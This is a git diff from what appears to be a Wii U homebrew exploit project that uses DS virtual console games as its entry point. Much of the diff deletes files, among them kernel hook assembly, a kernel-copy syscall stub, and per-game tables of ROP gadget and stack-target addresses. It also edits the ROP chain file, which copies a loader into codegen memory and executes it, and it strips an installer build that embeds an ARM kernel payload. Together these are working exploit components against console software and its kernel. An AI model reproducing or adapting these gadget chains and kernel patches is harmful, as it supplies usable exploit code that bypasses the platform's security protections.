__attribute__((packed)) CosAppXmlInfo; - - -#ifdef __cplusplus -} -#endif - -#endif // __KERNEL_DEFS_H_ diff --git a/dsrom/vwii_loader/sd_loader/src/kernel_hooks.S b/dsrom/vwii_loader/sd_loader/src/kernel_hooks.S deleted file mode 100644 index 0d7f11f..0000000 --- a/dsrom/vwii_loader/sd_loader/src/kernel_hooks.S +++ /dev/null @@ -1,69 +0,0 @@ -# This stuff may need a change in different kernel versions -# This is only needed when launched directly through browser and not SD card. - -.section ".kernel_code" - .globl SaveAndResetDataBATs_And_SRs_hook -SaveAndResetDataBATs_And_SRs_hook: - # setup CTR to the position we need to return to - mflr r5 - mtctr r5 - # set link register to its original value - mtlr r7 - # setup us a nice DBAT for our code data with same region as our code - mfspr r5, 560 - mtspr 570, r5 - mfspr r5, 561 - mtspr 571, r5 - # restore the original kernel instructions that we replaced - lwz r5, 0x34(r3) - lwz r6, 0x38(r3) - lwz r7, 0x3C(r3) - lwz r8, 0x40(r3) - lwz r9, 0x44(r3) - lwz r10, 0x48(r3) - lwz r11, 0x4C(r3) - lwz r3, 0x50(r3) - isync - mtsr 7, r5 - # jump back to the position in kernel after our patch (from LR) - bctr - -.extern my_PrepareTitle - .globl my_PrepareTitle_hook -my_PrepareTitle_hook: - # store all registers on stack to avoid issues with the call to C functions - stwu r1, -0x90(r1) - # registers for our own usage - # just store everything - stmw r3, 0x10(r1) - - # save the LR from where we came - mflr r31 - - # the cos.xml/app.xml structure is at the location 0x68 of r11 - # there are actually many places that can be hooked for it - # e.g. 0xFFF16130 and r27 points to this structure - addi r3, r11, 0x68 - - bl my_PrepareTitle - - # setup LR to jump back to kernel code - mtlr r31 - - # restore all original values of registers from stack - lmw r3, 0x10(r1) - - # restore the stack - addi r1, r1, 0x90 - - # restore original instruction that we replaced in the kernel - clrlwi r7, r12, 0 - - # jump back - blr - - .globl SC0x25_KernelCopyData -SC0x25_KernelCopyData: - li r0, 0x2500 - sc - blr diff --git a/dsrom/vwii_loader/sd_loader/src/link.ld b/dsrom/vwii_loader/sd_loader/src/link.ld deleted file mode 100644 index 610f5d3..0000000 --- a/dsrom/vwii_loader/sd_loader/src/link.ld +++ /dev/null @@ -1,23 +0,0 @@ -OUTPUT(sd_loader.elf); - -ENTRY(_start); - -SECTIONS { - . = 0x00800000; - .text : { - *(.kernel_code*); - *(.text*); - /* Tell linker to not garbage collect this section as it is not referenced anywhere */ - KEEP(*(.kernel_code*)); - } - .data : { - *(.rodata*); - *(.data*); - *(.bss*); - } - /DISCARD/ : { - *(*); - } -} - -ASSERT((SIZEOF(.text) + SIZEOF(.data)) <= 0x1300, "Memory overlapping with main elf."); diff --git a/dsrom/vwii_loader/sd_loader/src/loader_defs.h b/dsrom/vwii_loader/sd_loader/src/loader_defs.h deleted file mode 100644 index b71514f..0000000 --- a/dsrom/vwii_loader/sd_loader/src/loader_defs.h +++ /dev/null @@ -1,38 +0,0 @@ -#ifndef __LOADER_DEFS_H_ -#define __LOADER_DEFS_H_ - -#ifdef __cplusplus -extern "C" { -#endif - -// struct holding the globals of the loader (there are actually more but we don't need others) -typedef struct _loader_globals_t -{ - int sgIsLoadingBuffer; - int sgFileType; - int sgProcId; - int sgGotBytes; - int sgFileOffset; - int sgBufferNumber; - int sgBounceError; - char sgLoadName[0x1000]; -} __attribute__((packed)) loader_globals_t; - -typedef struct _loader_globals_550_t -{ - int sgFinishedLoadingBuffer; - int sgFileType; - int sgProcId; - int sgGotBytes; - int sgTotalBytes; - int sgFileOffset; - int sgBufferNumber; - int sgBounceError; - char sgLoadName[0x1000]; -} __attribute__((packed)) loader_globals_550_t; - -#ifdef __cplusplus -} -#endif - -#endif // __LOADER_DEFS_H_ diff --git a/dsrom/vwii_loader/structs.h b/dsrom/vwii_loader/structs.h deleted file mode 100644 index 9233f86..0000000 --- a/dsrom/vwii_loader/structs.h +++ /dev/null @@ -1,32 +0,0 @@ -#ifndef STRUCTS_H -#define STRUCTS_H - -typedef struct { - unsigned char *data; - int len; - int alloc_size; - void* (*memcpy)(void * dest, const void * src, int num); -} file_struct_t; - -typedef struct { - unsigned char *data_elf; - unsigned int coreinit_handle; - /* function pointers */ - void* (*memcpy)(void * dest, const void * src, int num); - void* (*memset)(void * dest, unsigned int value, unsigned int bytes); - void* (*OSEffectiveToPhysical)(const void*); - void* (*MEMAllocFromDefaultHeapEx)(unsigned int size, unsigned int align); - void (*MEMFreeToDefaultHeap)(void *ptr); - void (*DCFlushRange)(const void *addr, unsigned int length); - void (*ICInvalidateRange)(const void *addr, unsigned int length); - void (*_Exit)(int); - - void* (*curl_easy_init)(void); - void (*curl_easy_setopt)(void *handle, unsigned int param, const void *op); - int (*curl_easy_perform)(void *handle); - void (*curl_easy_getinfo)(void *handle, unsigned int param, void *op); - void (*curl_easy_cleanup)(void *handle); -} private_data_t; - - -#endif // STRUCTS_H diff --git a/dsrom/vwii_loader/types.h b/dsrom/vwii_loader/types.h deleted file mode 100644 index e9194b3..0000000 --- a/dsrom/vwii_loader/types.h +++ /dev/null @@ -1,22 +0,0 @@ -#ifndef TYPES_H -#define TYPES_H - -typedef unsigned long long uint64_t; -typedef long long int64_t; -typedef unsigned int uint32_t; -typedef int int32_t; -typedef unsigned short uint16_t; -typedef short int16_t; -typedef unsigned char uint8_t; -typedef char int8_t; - -typedef uint32_t size_t; - -typedef _Bool bool; -#define true 1 -#define false 0 -#define null 0 - -#define NULL (void*)0 - -#endif /* TYPES_H */ diff --git a/dsrom/yoshids_defs.s b/dsrom/yoshids_defs.s deleted file mode 100644 index daefa09..0000000 --- a/dsrom/yoshids_defs.s +++ /dev/null @@ -1,39 +0,0 @@ - -; game stack return address -HAX_TARGET_ADDRESS equ (0x1079B5E4-0xB8) -; application memory pointer -HACHI_APPLICATION_PTR equ (0x10C91938) -; arm9 rom location address -ARM9_ROM_LOCATION equ (0x16444200) - -; constants for position calcs -RPX_OFFSET equ (0x01800000) -ARM7_ROM_MEM2_START equ (0xF0000000 - ARM9_ROM_LOCATION + 0x12000000) - -; rop-gadgets part 1 (used for all sorts of different things) -LMW_R21R1xC_LWZ_R0R1x3C_MTLR_R0_ADDI_R1_x38_BLR equ (RPX_OFFSET + 0x02206F7C) -BCTRL equ (RPX_OFFSET + 0x02206EB4) -MTCTR_R27_ADDI_R31x2_MR_R3R31_R4R30_R5R29_R6R28_BCTRL_LMW_R26R1x18_MTLR_R1x34_ADDI_R1x30_BLR equ (RPX_OFFSET + 0x020A3508) -LWZ_R0xAFC_MTLR_R0_ADDI_R1xAF8_BLR equ (RPX_OFFSET + 0x020A3134) -LWZ_R0R1x14_LWZ_R30R1x8_R31R1xC_MTLR_R0_ADDI_R1x10_BLR equ (RPX_OFFSET + 0x02001068) -MR_R11R31_LMW_R26R1x8_LWZ_R0x24_MTLR_R0_ADDI_R1x20_CLRLWI_R3R11x18_BLR equ (RPX_OFFSET + 0x02179060) -LWZ_R0R11x4_R31R11xM4_MTLR_R0_MR_R1R11_BLR equ (RPX_OFFSET + 0x02277A3C) - -; rop-gadgets part 2 (only used to set up core 0 thread stack) -LWZ_R3_8_R1_LWZ_R0x14_MTLR_R0_ADDI_R1x10_BLR equ (RPX_OFFSET + 0x02018910) -MR_R12_R3_CMPLW_R12_R0_LI_R3_0_BEQ_ADDI_R3_R12x10_LWZ_R0_R1x14_MTLR_R0_ADDI_R1x10_BLR equ (RPX_OFFSET + 0x020AE948) -LWZ_R5_R1x8_CMPLW_R5_R31_BNE_MR_R3_R5_LWZ_R0_R1x1C_LWZ_R30_R1x10_MTLR_R0_LWZ_R31_R1x14_ADDI_R1x18_BLR equ (RPX_OFFSET + 0x0200F4B0) -LWZ_R4_R1xC_STW_R12_R1x8_LWZ_R3_R1x8_LWZ_R0_R1x1C_MTLR_R0_ADDI_R1x18_BLR equ (RPX_OFFSET + 0x02082DBC) -LWZ_R7_R1x10_LWZ_R8_R1x14_STW_R7_R31x0_STW_R8_R31x0_LWZ_R0_R1x2C_LWZ_R31_R0x24_MTLR_R0_LWZ_R30_R0x20_ADDI_R1x28_BLR equ (RPX_OFFSET + 0x02057874) -LWZ_R3_4_R3_LWZ_R0xC_MTLR_R0_ADDI_R1x8_BLR equ (RPX_OFFSET + 0x02018998) -LWZ_R0_R1x1C_LWZ_R30_R1x10_MTLR_R0_LWZ_R31_R1x14_ADDI_R1x18_ADD_R3_R7_BLR equ (RPX_OFFSET + 0x0214919C) -MTCTR_R12_BCTRL_LI_R3_0_LWZ_R0_R1x14_LWZ_R31_R1xC_MTLR_R0_ADDI_R1x10_BLR equ (RPX_OFFSET + 0x020240F4) - -; functions used from game -NERD_CREATETHREAD equ (RPX_OFFSET + 0x022218E0) -NERD_STARTTHREAD equ (RPX_OFFSET + 0x02221CFC) -NERD_JOINTHREAD equ (RPX_OFFSET + 0x0222178C) -HACHI_APPLICATION_SHUTDOWNANDDESTROY equ (RPX_OFFSET + 0x02006CD0) -NERD_FASTWIIU_SHUTDOWN equ (RPX_OFFSET + 0x0201FB24) -CORE_SHUTDOWN equ (RPX_OFFSET + 0x02220C44) -_START_EXIT equ (RPX_OFFSET + 0x02026944) diff --git a/dsrom/zeldaph_defs.s b/dsrom/zeldaph_defs.s deleted file mode 100644 index 98ea982..0000000 --- a/dsrom/zeldaph_defs.s +++ /dev/null @@ -1,39 +0,0 @@ - -; game stack return address -HAX_TARGET_ADDRESS equ (0x10799D24-0xC0) -; application memory pointer -HACHI_APPLICATION_PTR equ (0x10C8F938) -; arm9 rom location address -ARM9_ROM_LOCATION equ (0x16443400) - -; constants for position calcs -RPX_OFFSET equ (0x01800000) -ARM7_ROM_MEM2_START equ (0xF0000000 - ARM9_ROM_LOCATION + 0x12000000) - -; rop-gadgets part 1 (used for all sorts of different things) -LMW_R21R1xC_LWZ_R0R1x3C_MTLR_R0_ADDI_R1_x38_BLR equ (RPX_OFFSET + 0x0204AB1C) -BCTRL equ (RPX_OFFSET + 0x02003CF0) -MTCTR_R27_ADDI_R31x2_MR_R3R31_R4R30_R5R29_R6R28_BCTRL_LMW_R26R1x18_MTLR_R1x34_ADDI_R1x30_BLR equ (RPX_OFFSET + 0x020A9E30) -LWZ_R0xAFC_MTLR_R0_ADDI_R1xAF8_BLR equ (RPX_OFFSET + 0x020A9A08) -LWZ_R0R1x14_LWZ_R30R1x8_R31R1xC_MTLR_R0_ADDI_R1x10_BLR equ (RPX_OFFSET + 0x02000BA8) -MR_R11R31_LMW_R26R1x8_LWZ_R0x24_MTLR_R0_ADDI_R1x20_CLRLWI_R3R11x18_BLR equ (RPX_OFFSET + 0x0217F988) -LWZ_R0R11x4_R31R11xM4_MTLR_R0_MR_R1R11_BLR equ (RPX_OFFSET + 0x0227E524) - -; rop-gadgets part 2 (only used to set up core 0 thread stack) -LWZ_R3_8_R1_LWZ_R0x14_MTLR_R0_ADDI_R1x10_BLR equ (RPX_OFFSET + 0x02018548) -MR_R12_R3_CMPLW_R12_R0_LI_R3_0_BEQ_ADDI_R3_R12x10_LWZ_R0_R1x14_MTLR_R0_ADDI_R1x10_BLR equ (RPX_OFFSET + 0x020B5270) -LWZ_R5_R1x8_CMPLW_R5_R31_BNE_MR_R3_R5_LWZ_R0_R1x1C_LWZ_R30_R1x10_MTLR_R0_LWZ_R31_R1x14_ADDI_R1x18_BLR equ (RPX_OFFSET + 0x0200F0BC) -LWZ_R4_R1xC_STW_R12_R1x8_LWZ_R3_R1x8_LWZ_R0_R1x1C_MTLR_R0_ADDI_R1x18_BLR equ (RPX_OFFSET + 0x02088050) -LWZ_R7_R1x10_LWZ_R8_R1x14_STW_R7_R31x0_STW_R8_R31x0_LWZ_R0_R1x2C_LWZ_R31_R0x24_MTLR_R0_LWZ_R30_R0x20_ADDI_R1x28_BLR equ (RPX_OFFSET + 0x0205C438) -LWZ_R3_4_R3_LWZ_R0xC_MTLR_R0_ADDI_R1x8_BLR equ (RPX_OFFSET + 0x020185D0) -LWZ_R0_R1x1C_LWZ_R30_R1x10_MTLR_R0_LWZ_R31_R1x14_ADDI_R1x18_ADD_R3_R7_BLR equ (RPX_OFFSET + 0x0214FAC4) -MTCTR_R12_BCTRL_LI_R3_0_LWZ_R0_R1x14_LWZ_R31_R1xC_MTLR_R0_ADDI_R1x10_BLR equ (RPX_OFFSET + 0x02023F14) - -; functions used from game -NERD_CREATETHREAD equ (RPX_OFFSET + 0x0222832C) -NERD_STARTTHREAD equ (RPX_OFFSET + 0x02228748) -NERD_JOINTHREAD equ (RPX_OFFSET + 0x022281D8) -HACHI_APPLICATION_SHUTDOWNANDDESTROY equ (RPX_OFFSET + 0x020068C4) -NERD_FASTWIIU_SHUTDOWN equ (RPX_OFFSET + 0x0201F97C) -CORE_SHUTDOWN equ (RPX_OFFSET + 0x022278FC) -_START_EXIT equ (RPX_OFFSET + 0x02025FB0) diff --git a/dsrom/zeldast_defs.s b/dsrom/zeldast_defs.s deleted file mode 100644 index b1a606e..0000000 --- a/dsrom/zeldast_defs.s +++ /dev/null @@ -1,39 +0,0 @@ - -; game stack return address -HAX_TARGET_ADDRESS equ (0x1079C564-0xC8) -; application memory pointer -HACHI_APPLICATION_PTR equ (0x10C92938) -; arm9 rom location address -ARM9_ROM_LOCATION equ (0x16441D00) - -; constants for position calcs -RPX_OFFSET equ (0x01800000) -ARM7_ROM_MEM2_START equ (0xF0000000 - ARM9_ROM_LOCATION + 0x12000000) - -; rop-gadgets part 1 (used for all sorts of different things) -LMW_R21R1xC_LWZ_R0R1x3C_MTLR_R0_ADDI_R1_x38_BLR equ (RPX_OFFSET + 0x0200369C) -BCTRL equ (RPX_OFFSET + 0x020041D8) -MTCTR_R27_ADDI_R31x2_MR_R3R31_R4R30_R5R29_R6R28_BCTRL_LMW_R26R1x18_MTLR_R1x34_ADDI_R1x30_BLR equ (RPX_OFFSET + 0x020ABF18) -LWZ_R0xAFC_MTLR_R0_ADDI_R1xAF8_BLR equ (RPX_OFFSET + 0x020ABAF0) -LWZ_R0R1x14_LWZ_R30R1x8_R31R1xC_MTLR_R0_ADDI_R1x10_BLR equ (RPX_OFFSET + 0x02001AF8) -MR_R11R31_LMW_R26R1x8_LWZ_R0x24_MTLR_R0_ADDI_R1x20_CLRLWI_R3R11x18_BLR equ (RPX_OFFSET + 0x02181A50) -LWZ_R0R11x4_R31R11xM4_MTLR_R0_MR_R1R11_BLR equ (RPX_OFFSET + 0x022815B4) - -; rop-gadgets part 2 (only used to set up core 0 thread stack) -LWZ_R3_8_R1_LWZ_R0x14_MTLR_R0_ADDI_R1x10_BLR equ (RPX_OFFSET + 0x02018A88) -MR_R12_R3_CMPLW_R12_R0_LI_R3_0_BEQ_ADDI_R3_R12x10_LWZ_R0_R1x14_MTLR_R0_ADDI_R1x10_BLR equ (RPX_OFFSET + 0x020B7358) -LWZ_R5_R1x8_CMPLW_R5_R31_BNE_MR_R3_R5_LWZ_R0_R1x1C_LWZ_R30_R1x10_MTLR_R0_LWZ_R31_R1x14_ADDI_R1x18_BLR equ (RPX_OFFSET + 0x0200F610) -LWZ_R4_R1xC_STW_R12_R1x8_LWZ_R3_R1x8_LWZ_R0_R1x1C_MTLR_R0_ADDI_R1x18_BLR equ (RPX_OFFSET + 0x02088270) -LWZ_R7_R1x10_LWZ_R8_R1x14_STW_R7_R31x0_STW_R8_R31x0_LWZ_R0_R1x2C_LWZ_R31_R0x24_MTLR_R0_LWZ_R30_R0x20_ADDI_R1x28_BLR equ (RPX_OFFSET + 0x0205B0C8) -LWZ_R3_4_R3_LWZ_R0xC_MTLR_R0_ADDI_R1x8_BLR equ (RPX_OFFSET + 0x02018B10) -LWZ_R0_R1x1C_LWZ_R30_R1x10_MTLR_R0_LWZ_R31_R1x14_ADDI_R1x18_ADD_R3_R7_BLR equ (RPX_OFFSET + 0x02151B84) -MTCTR_R12_BCTRL_LI_R3_0_LWZ_R0_R1x14_LWZ_R31_R1xC_MTLR_R0_ADDI_R1x10_BLR equ (RPX_OFFSET + 0x0202441C) - -; functions used from game -NERD_CREATETHREAD equ (RPX_OFFSET + 0x0222B28C) -NERD_STARTTHREAD equ (RPX_OFFSET + 0x0222B6A8) -NERD_JOINTHREAD equ (RPX_OFFSET + 0x0222B138) -HACHI_APPLICATION_SHUTDOWNANDDESTROY equ (RPX_OFFSET + 0x02006E2C) -NERD_FASTWIIU_SHUTDOWN equ (RPX_OFFSET + 0x0201FE74) -CORE_SHUTDOWN equ (RPX_OFFSET + 0x0222AD7C) -_START_EXIT equ (RPX_OFFSET + 0x02026544) diff --git a/dsrom/zip/LICENSE b/dsrom/zip/LICENSE deleted file mode 100644 index bcfe47e..0000000 --- a/dsrom/zip/LICENSE +++ /dev/null @@ -1,60 +0,0 @@ -This is version 2007-Mar-4 of the Info-ZIP license. -The definitive version of this document should be available at -ftp://ftp.info-zip.org/pub/infozip/license.html indefinitely and -a copy at http://www.info-zip.org/pub/infozip/license.html. - - -Copyright (c) 1990-2007 Info-ZIP. All rights reserved. - -For the purposes of this copyright and license, "Info-ZIP" is defined as -the following set of individuals: - - Mark Adler, John Bush, Karl Davis, Harald Denker, Jean-Michel Dubois, - Jean-loup Gailly, Hunter Goatley, Ed Gordon, Ian Gorman, Chris Herborth, - Dirk Haase, Greg Hartwig, Robert Heath, Jonathan Hudson, Paul Kienitz, - David Kirschbaum, Johnny Lee, Onno van der Linden, Igor Mandrichenko, - Steve P. Miller, Sergio Monesi, Keith Owens, George Petrov, Greg Roelofs, - Kai Uwe Rommel, Steve Salisbury, Dave Smith, Steven M. Schweda, - Christian Spieler, Cosmin Truta, Antoine Verheijen, Paul von Behren, - Rich Wales, Mike White. - -This software is provided "as is," without warranty of any kind, express -or implied. In no event shall Info-ZIP or its contributors be held liable -for any direct, indirect, incidental, special or consequential damages -arising out of the use of or inability to use this software. - -Permission is granted to anyone to use this software for any purpose, -including commercial applications, and to alter it and redistribute it -freely, subject to the above disclaimer and the following restrictions: - - 1. Redistributions of source code (in whole or in part) must retain - the above copyright notice, definition, disclaimer, and this list - of conditions. - - 2. Redistributions in binary form (compiled executables and libraries) - must reproduce the above copyright notice, definition, disclaimer, - and this list of conditions in documentation and/or other materials - provided with the distribution. The sole exception to this condition - is redistribution of a standard UnZipSFX binary (including SFXWiz) as - part of a self-extracting archive; that is permitted without inclusion - of this license, as long as the normal SFX banner has not been removed - from the binary or disabled. - - 3. Altered versions--including, but not limited to, ports to new operating - systems, existing ports with new graphical interfaces, versions with - modified or added functionality, and dynamic, shared, or static library - versions not from Info-ZIP--must be plainly marked as such and must not - be misrepresented as being the original source or, if binaries, - compiled from the original source. Such altered versions also must not - be misrepresented as being Info-ZIP releases--including, but not - limited to, labeling of the altered versions with the names "Info-ZIP" - (or any variation thereof, including, but not limited to, different - capitalizations), "Pocket UnZip," "WiZ" or "MacZip" without the - explicit permission of Info-ZIP. Such altered versions are further - prohibited from misrepresentative use of the Zip-Bugs or Info-ZIP - e-mail addresses or the Info-ZIP URL(s), such as to imply Info-ZIP - will provide support for the altered versions. - - 4. Info-ZIP retains the right to use the names "Info-ZIP," "Zip," "UnZip," - "UnZipSFX," "WiZ," "Pocket UnZip," "Pocket Zip," and "MacZip" for its - own source and binary releases. diff --git a/dsrom/zip/zip.exe b/dsrom/zip/zip.exe deleted file mode 100644 index 65de183..0000000 Binary files a/dsrom/zip/zip.exe and /dev/null differ diff --git a/dsrom/haxchi.s b/haxchi.s similarity index 100% rename from dsrom/haxchi.s rename to haxchi.s diff --git a/dsrom/haxchi_rop.s b/haxchi_rop.s similarity index 95% rename from dsrom/haxchi_rop.s rename to haxchi_rop.s index 4795944..c9b99ed 100644 --- a/dsrom/haxchi_rop.s +++ b/haxchi_rop.s @@ -3,8 +3,6 @@ ; more useful definitions HBL_LOADER_ADR equ (0x01800000) -IOSU_PATCHER_ADR equ (0x01804000) -SELECTOR_ADDRESS equ (0x01808000) NERD_THREAD0OBJECT equ (HAX_TARGET_ADDRESS - 0x1000) NERD_THREAD2OBJECT equ (HAX_TARGET_ADDRESS - 0x2000) @@ -224,8 +222,6 @@ rop_start: ; memcpy code call_func MEMCPY, HBL_LOADER_ADR, hbl_loader, hbl_loader_end - hbl_loader, 0x0 - call_func MEMCPY, IOSU_PATCHER_ADR, iosu_patcher, iosu_patcher_end - iosu_patcher, 0x0 - call_func MEMCPY, SELECTOR_ADDRESS, option_select, option_select_end - option_select, 0x0 call_func DC_FLUSHRANGE, HBL_LOADER_ADR, 0xC000, 0x0, 0x0 ; switch codegen to RX @@ -233,7 +229,7 @@ rop_start: call_func IC_INVALIDATERANGE, HBL_LOADER_ADR, 0xC000, 0x0, 0x0 ; execute option_select in codegen - .word SELECTOR_ADDRESS + .word HBL_LOADER_ADR core0rop_end: ; core 0 thread params @@ -264,12 +260,4 @@ rop_start: .incbin "hbl_loader.bin" hbl_loader_end: - iosu_patcher: - .incbin "iosu_patcher.bin" - iosu_patcher_end: - - option_select: - .incbin "option_select.bin" - option_select_end: - .Close diff --git a/hbl_loader/.gitignore b/hbl_loader/.gitignore new file mode 100644 index 0000000..9d46e49 --- /dev/null +++ b/hbl_loader/.gitignore @@ -0,0 +1,4 @@ +*.o +*.map +*.elf +/bin \ No newline at end of file diff --git a/dsrom/hbl_loader/Makefile b/hbl_loader/Makefile similarity index 57% rename from dsrom/hbl_loader/Makefile rename to hbl_loader/Makefile index fadc046..b60eef6 100644 --- a/dsrom/hbl_loader/Makefile +++ b/hbl_loader/Makefile @@ -6,33 +6,22 @@ CFLAGS = -std=gnu99 -O3 -nostdinc -fno-builtin ASFLAGS = -mregnames -x assembler-with-cpp LD = $(PREFIX)ld OBJCOPY = $(PREFIX)objcopy -LDFLAGS=-Ttext 1800000 -L$(DEVKITPPC)/lib/gcc/powerpc-eabi/6.2.0 -lgcc +GCC_VER := $(shell $(DEVKITPPC)/bin/powerpc-eabi-gcc -dumpversion) +LDFLAGS=-Ttext 1800000 -L$(DEVKITPPC)/lib/gcc/powerpc-eabi/$(GCC_VER) -lgcc OBJDUMP ?= $(PREFIX)objdump project := . root := $(CURDIR) build := $(root)/bin -sd_loader_elf := sd_loader/sd_loader.elf - -CFLAGS += -DUSE_SD_LOADER -ASFLAGS += -DUSE_SD_LOADER FIRMWARE = 550 all: clean setup main -sd_loader.h: $(sd_loader_elf) - xxd -i $< | sed "s/unsigned/static const unsigned/g;s/loader/loader/g;s/build_//g" > $@ - -$(sd_loader_elf): - make -C sd_loader - setup: mkdir -p $(root)/bin/ -main: sd_loader.h +main: $(CC) $(CFLAGS) -DVER=$(FIRMWARE) -c $(project)/launcher.c - $(CC) $(CFLAGS) -DVER=$(FIRMWARE) -c $(project)/kexploit.c - $(AS) $(ASFLAGS) -DVER=$(FIRMWARE) -c $(project)/kernel_patches.S $(AS) $(ASFLAGS) -DVER=$(FIRMWARE) -c $(project)/crt0.S cp -r $(root)/*.o $(build) rm $(root)/*.o @@ -41,6 +30,4 @@ main: sd_loader.h clean: rm -rf $(build) - rm -rf sd_loader.h - rm -rf hbl_loader.elf hbl_loader.map - make clean -C sd_loader + rm -rf hbl_loader.elf hbl_loader.map \ No newline at end of file diff --git a/dsrom/hbl_loader/README b/hbl_loader/README similarity index 100% rename from dsrom/hbl_loader/README rename to hbl_loader/README diff --git a/hbl_loader/common.h b/hbl_loader/common.h new file mode 100644 index 0000000..2a8f415 --- /dev/null +++ b/hbl_loader/common.h @@ -0,0 +1,22 @@ +#ifndef _COMMON_H_ +#define _COMMON_H_ + +#ifdef __cplusplus +extern "C" { +#endif + +#define OSDynLoad_Acquire ((void (*)(char* rpl, unsigned int *handle))0x0102A3B4) +#define OSDynLoad_FindExport ((void (*)(unsigned int handle, int isdata, char *symbol, void *address))0x0102B828) +#define OSFatal ((void (*)(char* msg))0x01031618) +#define __os_snprintf ((int(*)(char* s, int n, const char * format, ... ))0x0102F160) + +#define ADDRESS_main_entry_hook 0x0101c56c + +#define BUS_SPEED 248625000 +#define SECS_TO_TICKS(sec) (((unsigned long long)(sec)) * (BUS_SPEED/4)) + +#ifdef __cplusplus +} +#endif + +#endif diff --git a/dsrom/hbl_loader/crt0.S b/hbl_loader/crt0.S similarity index 100% rename from dsrom/hbl_loader/crt0.S rename to hbl_loader/crt0.S diff --git a/hbl_loader/launcher.c b/hbl_loader/launcher.c new file mode 100644 index 0000000..a4cfbde --- /dev/null +++ b/hbl_loader/launcher.c @@ -0,0 +1,5 @@ +#include "common.h" + +void __main(void){ + OSFatal("hello world"); +} diff --git a/installer/Makefile b/installer/Makefile deleted file mode 100644 index cd51857..0000000 --- a/installer/Makefile +++ /dev/null @@ -1,244 +0,0 @@ -#--------------------------------------------------------------------------------- -# Clear the implicit built in rules -#--------------------------------------------------------------------------------- -.SUFFIXES: -#--------------------------------------------------------------------------------- -ifeq ($(strip $(DEVKITPPC)),) -$(error "Please set DEVKITPPC in your environment. export DEVKITPPC=devkitPPC") -endif -ifeq ($(strip $(DEVKITPRO)),) -$(error "Please set DEVKITPRO in your environment. export DEVKITPRO=devkitPRO") -endif -export PATH := $(DEVKITPPC)/bin:$(PORTLIBS)/bin:$(PATH) -export LIBOGC_INC := $(DEVKITPRO)/libogc/include -export LIBOGC_LIB := $(DEVKITPRO)/libogc/lib/wii -export PORTLIBS := $(DEVKITPRO)/portlibs/ppc - -PREFIX := powerpc-eabi- - -export AS := $(PREFIX)as -export CC := $(PREFIX)gcc -export CXX := $(PREFIX)g++ -export AR := $(PREFIX)ar -export OBJCOPY := $(PREFIX)objcopy - -#--------------------------------------------------------------------------------- -# TARGET is the name of the output -# BUILD is the directory where object files & intermediate files will be placed -# SOURCES is a list of directories containing source code -# INCLUDES is a list of directories containing extra header files -#--------------------------------------------------------------------------------- -ifeq ($(CB),1) -TARGET := cbhc -else -TARGET := haxchi -endif -BUILD := build -BUILD_DBG := $(TARGET)_dbg -SOURCES := src \ - src/dynamic_libs \ - src/fs \ - src/system \ - src/utils -DATA := data - -INCLUDES := src payload - -ifeq ($(CB),1) - DEFS := -DCB=1 -else - DEFS := -endif -#--------------------------------------------------------------------------------- -# options for code generation -#--------------------------------------------------------------------------------- -CFLAGS := -std=gnu11 -mrvl -mcpu=750 -meabi -mhard-float -ffast-math \ - -O3 -Wall -Wextra -Wno-unused-parameter -Wno-strict-aliasing $(INCLUDE) $(DEFS) -CXXFLAGS := -std=gnu++11 -mrvl -mcpu=750 -meabi -mhard-float -ffast-math \ - -O3 -Wall -Wextra -Wno-unused-parameter -Wno-strict-aliasing $(INCLUDE) $(DEFS) -ASFLAGS := -mregnames -LDFLAGS := -nostartfiles -Wl,-Map,$(notdir $@).map,-wrap,malloc,-wrap,free,-wrap,memalign,-wrap,calloc,-wrap,realloc,-wrap,malloc_usable_size,-wrap,_malloc_r,-wrap,_free_r,-wrap,_realloc_r,-wrap,_calloc_r,-wrap,_memalign_r,-wrap,_malloc_usable_size_r,-wrap,valloc,-wrap,_valloc_r,-wrap,_pvalloc_r,--gc-sections - -#--------------------------------------------------------------------------------- -Q := @ -MAKEFLAGS += --no-print-directory -#--------------------------------------------------------------------------------- -# any extra libraries we wish to link with the project -#--------------------------------------------------------------------------------- -LIBS := -liosuhax -lxml2 -lm - -#--------------------------------------------------------------------------------- -# list of directories containing libraries, this must be the top level containing -# include and lib -#--------------------------------------------------------------------------------- -LIBDIRS := $(CURDIR) \ - $(DEVKITPPC)/lib - -#--------------------------------------------------------------------------------- -# no real need to edit anything past this point unless you need to add additional -# rules for different file extensions -#--------------------------------------------------------------------------------- -ifneq ($(BUILD),$(notdir $(CURDIR))) -#--------------------------------------------------------------------------------- -export PROJECTDIR := $(CURDIR) -export OUTPUT := $(CURDIR)/$(TARGETDIR)/$(TARGET) -export VPATH := $(foreach dir,$(SOURCES),$(CURDIR)/$(dir)) \ - $(foreach dir,$(DATA),$(CURDIR)/$(dir)) -export DEPSDIR := $(CURDIR)/$(BUILD) - -#--------------------------------------------------------------------------------- -# automatically build a list of object files for our project -#--------------------------------------------------------------------------------- -CFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.c))) -CPPFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.cpp))) -sFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.s))) -SFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.S))) -BINFILES := $(foreach dir,$(DATA),$(notdir $(wildcard $(dir)/*.*))) - -#--------------------------------------------------------------------------------- -# use CXX for linking C++ projects, CC for standard C -#--------------------------------------------------------------------------------- -ifeq ($(strip $(CPPFILES)),) - export LD := $(CC) -else - export LD := $(CXX) -endif - -export OFILES := $(CPPFILES:.cpp=.o) $(CFILES:.c=.o) \ - $(sFILES:.s=.o) $(SFILES:.S=.o) \ - $(PNGFILES:.png=.png.o) $(addsuffix .o,$(BINFILES)) - -#--------------------------------------------------------------------------------- -# build a list of include paths -#--------------------------------------------------------------------------------- -export INCLUDE := $(foreach dir,$(INCLUDES),-I$(CURDIR)/$(dir)) \ - $(foreach dir,$(LIBDIRS),-I$(dir)/include) \ - -I$(CURDIR)/$(BUILD) -I$(LIBOGC_INC) \ - -I$(PORTLIBS)/include -I$(PORTLIBS)/include/freetype2 -I$(CURDIR)/libxml2/include - -#--------------------------------------------------------------------------------- -# build a list of library paths -#--------------------------------------------------------------------------------- -export LIBPATHS := $(foreach dir,$(LIBDIRS),-L$(dir)/lib) \ - -L$(LIBOGC_LIB) -L$(PORTLIBS)/lib -L$(CURDIR)/libxml2/lib - -export OUTPUT := $(CURDIR)/$(TARGET) -.PHONY: $(BUILD) clean install - -#--------------------------------------------------------------------------------- -$(BUILD): $(CURDIR)/payload/arm_kernel_bin.h - @[ -d $@ ] || mkdir -p $@ - @$(MAKE) --no-print-directory -C 